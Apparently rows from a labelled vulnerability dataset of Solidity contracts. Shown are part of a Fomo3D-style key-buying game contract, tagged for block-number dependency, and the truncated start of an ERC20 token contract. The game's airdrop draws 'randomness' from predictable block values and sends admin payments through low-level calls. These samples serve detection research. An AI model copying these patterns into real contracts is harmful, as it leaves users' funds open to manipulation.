reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot.mul(20)) / 100; uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); admin1.transfer(_com.sub(_com / 2)); admin2.transfer(_com / 2); round_[_rID].pot = _pot.add(_p3d); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 50; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d = 0; if (!address(admin1).call.value(_com.sub(_com / 2))()) { _p3d = _p3d.add(_com.sub(_com / 2)); } if (!address(admin2).call.value(_com / 2)()) { _p3d = _p3d.add(_com / 2); } _com = _com.sub(_p3d); uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { admin1.transfer(_aff.sub(_aff / 2)); admin2.transfer(_aff / 2); } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { round_[_rID].pot = round_[_rID].pot.add(_p3d); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(15)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require((msg.sender == admin1 || msg.sender == admin2), ""only admin can activate""); require(activated_ == false, ""already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 607.sol,"pragma solidity ^0.4.21; // File: contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } // File: contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract DubaiGreenBlockChain is StandardToken, Ownable { // Constants string public constant name = ""Dubai Green BlockChain""; string public constant symbol = ""DGBC""; uint8 public constant decimals = 4; uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals)); mapping(address => bool) touched; function DubaiGreenBlockChain() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } function _transfer(address _from, address _to, uint _value) internal { require (balances[_from] >= _value); // Check if the sender has enough require (balances[_to] + _value > balances[_to]); // Check for overflows balances[_from] = balances[_from].sub(_value); // Subtract from the sender balances[_to] = balances[_to].add(_value); // Add the same to the recipient emit Transfer(_from, _to, 